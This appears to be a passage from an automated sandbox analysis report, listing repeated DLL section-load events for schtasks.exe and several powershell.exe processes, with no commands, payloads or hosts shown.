Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: websocket.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: websocket.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: websocket.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
